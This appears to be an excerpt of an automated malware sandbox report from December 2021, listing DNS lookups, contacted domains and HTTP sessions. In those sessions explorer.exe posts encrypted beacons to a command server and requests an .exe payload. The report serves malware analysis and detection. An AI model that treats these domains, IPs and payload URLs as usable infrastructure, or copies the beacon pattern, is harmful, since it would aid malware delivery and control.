Dec 28, 2021 05:19:01.146226883 CET	192.168.2.3	8.8.8.8	0xded3	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:01.347253084 CET	192.168.2.3	8.8.8.8	0xec55	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:02.232675076 CET	192.168.2.3	8.8.8.8	0x523d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:02.478763103 CET	192.168.2.3	8.8.8.8	0xa684	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:02.729489088 CET	192.168.2.3	8.8.8.8	0x4186	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:02.971997023 CET	192.168.2.3	8.8.8.8	0xa7d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:03.125703096 CET	192.168.2.3	8.8.8.8	0x180f	Standard query (0)	file-file-host4.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:03.189141989 CET	192.168.2.3	8.8.8.8	0x5671	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:04.956842899 CET	192.168.2.3	8.8.8.8	0xeee2	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:05.164602041 CET	192.168.2.3	8.8.8.8	0xb227	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:05.383534908 CET	192.168.2.3	8.8.8.8	0x3771	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:28.001003981 CET	192.168.2.3	8.8.8.8	0x24b5	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:28.310925961 CET	192.168.2.3	8.8.8.8	0x112d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:28.529864073 CET	192.168.2.3	8.8.8.8	0x3267	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:31.480361938 CET	192.168.2.3	8.8.8.8	0x5508	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:31.706500053 CET	192.168.2.3	8.8.8.8	0x4dd1	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:31.920810938 CET	192.168.2.3	8.8.8.8	0xe571	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:32.179344893 CET	192.168.2.3	8.8.8.8	0xc149	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:32.383315086 CET	192.168.2.3	8.8.8.8	0x5c2d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:32.639059067 CET	192.168.2.3	8.8.8.8	0xf7fd	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:32.941024065 CET	192.168.2.3	8.8.8.8	0x594b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:33.145210028 CET	192.168.2.3	8.8.8.8	0x3619	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:33.396270990 CET	192.168.2.3	8.8.8.8	0x2b1e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:36.806981087 CET	192.168.2.3	8.8.8.8	0x6f9e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:37.024342060 CET	192.168.2.3	8.8.8.8	0xc692	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:37.255305052 CET	192.168.2.3	8.8.8.8	0x4137	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:37.491246939 CET	192.168.2.3	8.8.8.8	0xea73	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:37.723372936 CET	192.168.2.3	8.8.8.8	0x9b9a	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:40.592730999 CET	192.168.2.3	8.8.8.8	0x75bb	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:40.821198940 CET	192.168.2.3	8.8.8.8	0xa4e9	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:41.037091017 CET	192.168.2.3	8.8.8.8	0xbf0f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:41.282838106 CET	192.168.2.3	8.8.8.8	0xb6b6	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:47.531496048 CET	192.168.2.3	8.8.8.8	0xf983	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:47.768246889 CET	192.168.2.3	8.8.8.8	0xec3c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:47.981024981 CET	192.168.2.3	8.8.8.8	0xa9f0	Standard query (0)	downloafilesaccess.ddns.net	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:51.106738091 CET	192.168.2.3	8.8.8.8	0x5f92	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:20:05.146503925 CET	192.168.2.3	8.8.8.8	0x53df	Standard query (0)	elew3le3lanle.freeddns.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Dec 28, 2021 05:18:39.325753927 CET	8.8.8.8	192.168.2.3	0x754f	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:39.898515940 CET	8.8.8.8	192.168.2.3	0xdfce	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:40.099479914 CET	8.8.8.8	192.168.2.3	0x4311	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:40.331254959 CET	8.8.8.8	192.168.2.3	0x4f6a	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:40.535259962 CET	8.8.8.8	192.168.2.3	0x7740	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:40.753724098 CET	8.8.8.8	192.168.2.3	0xc6ad	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:40.984651089 CET	8.8.8.8	192.168.2.3	0x77c4	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:42.401002884 CET	8.8.8.8	192.168.2.3	0x9be4	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:42.911936998 CET	8.8.8.8	192.168.2.3	0x2cac	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:43.441090107 CET	8.8.8.8	192.168.2.3	0x9353	No error (0)	data-host-coin-8.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:43.933008909 CET	8.8.8.8	192.168.2.3	0x5aa5	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:44.166074991 CET	8.8.8.8	192.168.2.3	0x3ded	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:51.326471090 CET	8.8.8.8	192.168.2.3	0x67ec	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:51.839946985 CET	8.8.8.8	192.168.2.3	0x31c7	No error (0)	privacytools-foryou-777.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:54.037528038 CET	8.8.8.8	192.168.2.3	0xe252	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:54.240456104 CET	8.8.8.8	192.168.2.3	0x8cf7	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:54.492506981 CET	8.8.8.8	192.168.2.3	0x4fe3	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:54.790839911 CET	8.8.8.8	192.168.2.3	0xf0cc	No error (0)	unicupload.top		54.38.220.85	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:54.879261017 CET	8.8.8.8	192.168.2.3	0xae28	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:55.102793932 CET	8.8.8.8	192.168.2.3	0x104f	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:55.580760002 CET	8.8.8.8	192.168.2.3	0xf4e4	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:57.860083103 CET	8.8.8.8	192.168.2.3	0x3ab6	Server failure (2)	infinity-cheats.com	none	none	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:57.922713041 CET	8.8.8.8	192.168.2.3	0x9eb5	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:58.138019085 CET	8.8.8.8	192.168.2.3	0xa47c	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:58.697845936 CET	8.8.8.8	192.168.2.3	0xfdc2	No error (0)	data-host-coin-8.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:58.877804995 CET	8.8.8.8	192.168.2.3	0x3ab6	Server failure (2)	infinity-cheats.com	none	none	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:00.674246073 CET	8.8.8.8	192.168.2.3	0x707b	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:00.934396982 CET	8.8.8.8	192.168.2.3	0x8c5b	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:01.162827969 CET	8.8.8.8	192.168.2.3	0xded3	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:01.365943909 CET	8.8.8.8	192.168.2.3	0xec55	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:02.249583960 CET	8.8.8.8	192.168.2.3	0x523d	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:02.497446060 CET	8.8.8.8	192.168.2.3	0xa684	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:02.748177052 CET	8.8.8.8	192.168.2.3	0x4186	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:02.990892887 CET	8.8.8.8	192.168.2.3	0xa7d	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:03.210685968 CET	8.8.8.8	192.168.2.3	0x5671	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:03.210685968 CET	8.8.8.8	192.168.2.3	0x5671	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:03.210685968 CET	8.8.8.8	192.168.2.3	0x5671	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:03.210685968 CET	8.8.8.8	192.168.2.3	0x5671	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:03.210685968 CET	8.8.8.8	192.168.2.3	0x5671	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:03.413042068 CET	8.8.8.8	192.168.2.3	0x180f	No error (0)	file-file-host4.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:04.975486040 CET	8.8.8.8	192.168.2.3	0xeee2	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:05.181310892 CET	8.8.8.8	192.168.2.3	0xb227	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:05.402218103 CET	8.8.8.8	192.168.2.3	0x3771	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:28.020386934 CET	8.8.8.8	192.168.2.3	0x24b5	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:28.327271938 CET	8.8.8.8	192.168.2.3	0x112d	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:28.843050003 CET	8.8.8.8	192.168.2.3	0x3267	No error (0)	data-host-coin-8.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:31.501394987 CET	8.8.8.8	192.168.2.3	0x5508	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:31.725389004 CET	8.8.8.8	192.168.2.3	0x4dd1	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:31.939925909 CET	8.8.8.8	192.168.2.3	0xe571	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:32.197608948 CET	8.8.8.8	192.168.2.3	0xc149	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:32.402122974 CET	8.8.8.8	192.168.2.3	0x5c2d	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:32.656451941 CET	8.8.8.8	192.168.2.3	0xf7fd	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:32.959716082 CET	8.8.8.8	192.168.2.3	0x594b	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:33.161716938 CET	8.8.8.8	192.168.2.3	0x3619	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:33.415293932 CET	8.8.8.8	192.168.2.3	0x2b1e	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:36.823970079 CET	8.8.8.8	192.168.2.3	0x6f9e	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:37.041131020 CET	8.8.8.8	192.168.2.3	0xc692	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:37.272277117 CET	8.8.8.8	192.168.2.3	0x4137	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:37.510828972 CET	8.8.8.8	192.168.2.3	0xea73	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:37.741883993 CET	8.8.8.8	192.168.2.3	0x9b9a	No error (0)	transfer.sh		144.76.136.153	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:40.611608982 CET	8.8.8.8	192.168.2.3	0x75bb	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:40.839665890 CET	8.8.8.8	192.168.2.3	0xa4e9	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:41.055852890 CET	8.8.8.8	192.168.2.3	0xbf0f	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:41.302234888 CET	8.8.8.8	192.168.2.3	0xb6b6	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:41.302234888 CET	8.8.8.8	192.168.2.3	0xb6b6	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:41.302234888 CET	8.8.8.8	192.168.2.3	0xb6b6	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:41.302234888 CET	8.8.8.8	192.168.2.3	0xb6b6	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:41.302234888 CET	8.8.8.8	192.168.2.3	0xb6b6	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:47.550419092 CET	8.8.8.8	192.168.2.3	0xf983	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:47.784822941 CET	8.8.8.8	192.168.2.3	0xec3c	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:47.999622107 CET	8.8.8.8	192.168.2.3	0xa9f0	No error (0)	downloafilesaccess.ddns.net		155.248.231.246	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:51.123631954 CET	8.8.8.8	192.168.2.3	0x5f92	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:20:05.316809893 CET	8.8.8.8	192.168.2.3	0x53df	No error (0)	elew3le3lanle.freeddns.org		178.238.8.177	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

cdn.discordapp.com

transfer.sh

downloafilesaccess.ddns.net

ycifwuti.org

host-data-coin-11.com

vnfvs.com

rcrjju.com

qvavjfmo.com

poiftoddew.org

rvmcdus.net

wjfjbpqm.com

aybsb.com

hwrlndxid.net

data-host-coin-8.com

jteovwto.com

oqydrde.net

tkeghqsng.com

privacytools-foryou-777.com

gjygx.net

kfxca.org

ryipue.org

unicupload.top

vukwltcu.net

lnwhd.net

whpernmmb.com

rwwaasnsg.com

weeyh.com

jpkelrew.com

hlqcmdcx.net

lpxlc.org

imhlo.net

185.7.214.171:8080

eaidisso.com

yacyom.com

ebhyi.org

jtcndb.net

file-file-host4.com

vdbegiq.net

eoepn.com

jrhtrk.com

jwibqkk.net

xnipfqvpe.org

yifcjya.net

rxxfahr.org

vfpht.org

adqghmyhj.org

hujcrsouk.net

mketq.com

nlilrsybs.com

mpbvjio.net

yqtmbdjjxy.net

91.243.44.128

igwdjt.com

xmhrnshbsf.com

tmtvrgtd.org

mnjhltsqk.org

npiwsugx.com

xqkct.org

awejs.com

185.7.214.239

hxmnbo.org

jjctmvu.com

ikexxrgenj.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49798	162.159.134.233	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49841	144.76.136.153	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49750	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:41.052517891 CET	1176	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wjfjbpqm.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 232 Host: host-data-coin-11.com
Dec 28, 2021 05:18:41.054378986 CET	1176	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 9b 66 5d 02 c8 a1 c1 64 3b c6 9d 19 Data Ascii: 7xG5f0@^wmDu$f]d;Dr(!S'xz$WM()%Q:+34*{5,)p+?v~$$.G"l~a't3#J{d)xG/~HKbda=_-zMqS
Dec 28, 2021 05:18:41.170506954 CET	1177	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 64 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3a 4a a6 e8 dd e6 f8 5f f5 4a 88 2d a0 57 53 98 00 e5 a7 2c f8 2f 0d 0a 30 0d 0a 0d 0a Data Ascii: 2dI:82OI:J_J-WS,/0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49752	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:42.474426985 CET	1178	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://aybsb.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 189 Host: host-data-coin-11.com
Dec 28, 2021 05:18:42.474458933 CET	1178	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 98 66 5d 02 c8 a1 c1 64 24 ab 9c 1c Data Ascii: 7xG5f0@^wmDu$f]d$Zv`AC\X/Cj!nxP\|C"$OYol2WQX-x^AGUm]G9;}s>>
Dec 28, 2021 05:18:42.596767902 CET	1179	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:42 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.3	49753	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:42.985894918 CET	1180	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hwrlndxid.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 265 Host: host-data-coin-11.com
Dec 28, 2021 05:18:42.985908985 CET	1180	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 99 66 5d 02 c8 a1 c1 64 10 bc 9d 04 Data Ascii: 7xG5f0@^wmDu$f]d`'U/-%EdcSnumIdzF)5pU9)O$C!Nm6-W6?:r wHA.Z 2Q:v\|;-t <~;l(
Dec 28, 2021 05:18:43.104787111 CET	1180	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:43 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 4b ef ae 8a 70 bc 57 dd 42 d6 f7 23 8c 21 e6 c3 93 50 2c e2 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9KpWB#!P,c0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.3	49754	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:43.505486012 CET	1182	OUT	GET /files/5376_1640094939_1074.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: data-host-coin-8.com
Dec 28, 2021 05:18:43.599575996 CET	1182	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:43 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Data Raw: 31 31 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 64 61 74 61 2d 68 6f 73 74 2d 63 6f 69 6e 2d 38 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 11a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at data-host-coin-8.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.3	49755	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
